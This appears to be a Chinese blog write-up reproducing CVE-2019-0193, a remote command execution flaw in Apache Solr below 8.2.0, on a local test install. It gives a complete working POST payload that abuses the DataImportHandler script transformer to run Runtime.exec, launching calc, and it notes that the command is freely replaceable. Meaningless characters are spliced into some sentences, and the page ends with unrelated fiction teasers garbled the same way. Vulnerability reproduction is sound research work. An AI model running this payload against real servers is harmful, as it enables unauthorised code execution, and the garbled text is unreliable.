CVE-2019-0193:Apache Solr 遠(yuǎn)程命令執(zhí)行漏洞復(fù)現(xiàn)

感謝指路:https://www.cnblogs.com/paperpen/p/11328728.html
影響范圍
Apache Solr < 8.2.0
1.先把下載好的文件解壓

image.png

2.然后在cmd或powershell中打開澜倦,讓應(yīng)用運(yùn)行起來


image.png

3.查看模塊名稱 http://localhost:8983/solr/admin/cores

image.png

4.構(gòu)造命令執(zhí)行 http://localhost:8983/solr/atom/dataimport

image.png

# POST內(nèi)容的主體
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=atom&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
 url="https://stackoverflow.com/feeds/tag/solr"
 processor="XPathEntityProcessor"
 forEach="/feed"
 transformer="script:poc" />
</document>
</dataConfig>

中間遇到一點(diǎn)小問題,entity這個(gè)標(biāo)簽中每個(gè)屬性之間都要有空格,從別人那粘過來的時(shí)候沒有空格導(dǎo)致報(bào)錯(cuò)元素類型 * 必須后跟屬性規(guī)范 ">" 或 "/>"
5.這樣就彈出了計(jì)算器,命令執(zhí)行成功
命令寫在POST body中的js腳本中process.exec()方法中可以按需修改


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市员帮,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖辞州,帶你破解...
    沈念sama閱讀 221,695評(píng)論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異寥粹,居然都是意外死亡变过,警方通過查閱死者的電腦和手機(jī)埃元,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,569評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來媚狰,“玉大人岛杀,你說我怎么就攤上這事≌腹拢” “怎么了类嗤?”我有些...
    開封第一講書人閱讀 168,130評(píng)論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長辨宠。 經(jīng)常有香客問我遗锣,道長,這世上最難降的妖魔是什么嗤形? 我笑而不...
    開封第一講書人閱讀 59,648評(píng)論 1 297
  • 正文 為了忘掉前任精偿,我火速辦了婚禮,結(jié)果婚禮上赋兵,老公的妹妹穿的比我還像新娘笔咽。我一直安慰自己,他們只是感情好霹期,可當(dāng)我...
    茶點(diǎn)故事閱讀 68,655評(píng)論 6 397
  • 文/花漫 我一把揭開白布叶组。 她就那樣靜靜地躺著,像睡著了一般历造。 火紅的嫁衣襯著肌膚如雪甩十。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,268評(píng)論 1 309
  • 那天帕膜,我揣著相機(jī)與錄音枣氧,去河邊找鬼。 笑死垮刹,一個(gè)胖子當(dāng)著我的面吹牛达吞,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播荒典,決...
    沈念sama閱讀 40,835評(píng)論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼酪劫,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了寺董?” 一聲冷哼從身側(cè)響起覆糟,我...
    開封第一講書人閱讀 39,740評(píng)論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎遮咖,沒想到半個(gè)月后滩字,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,286評(píng)論 1 318
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,375評(píng)論 3 340
  • 正文 我和宋清朗相戀三年麦箍,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了漓藕。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,505評(píng)論 1 352
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡挟裂,死狀恐怖享钞,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情诀蓉,我是刑警寧澤栗竖,帶...
    沈念sama閱讀 36,185評(píng)論 5 350
  • 正文 年R本政府宣布,位于F島的核電站渠啤,受9級(jí)特大地震影響狐肢,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜埃篓,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,873評(píng)論 3 333
  • 文/蒙蒙 一处坪、第九天 我趴在偏房一處隱蔽的房頂上張望根资。 院中可真熱鬧架专,春花似錦、人聲如沸玄帕。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,357評(píng)論 0 24
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽裤纹。三九已至委刘,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間鹰椒,已是汗流浹背锡移。 一陣腳步聲響...
    開封第一講書人閱讀 33,466評(píng)論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留漆际,地道東北人淆珊。 一個(gè)月前我還...
    沈念sama閱讀 48,921評(píng)論 3 376
  • 正文 我出身青樓,卻偏偏與公主長得像奸汇,于是被迫代替她去往敵國和親施符。 傳聞我的和親對象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,515評(píng)論 2 359

推薦閱讀更多精彩內(nèi)容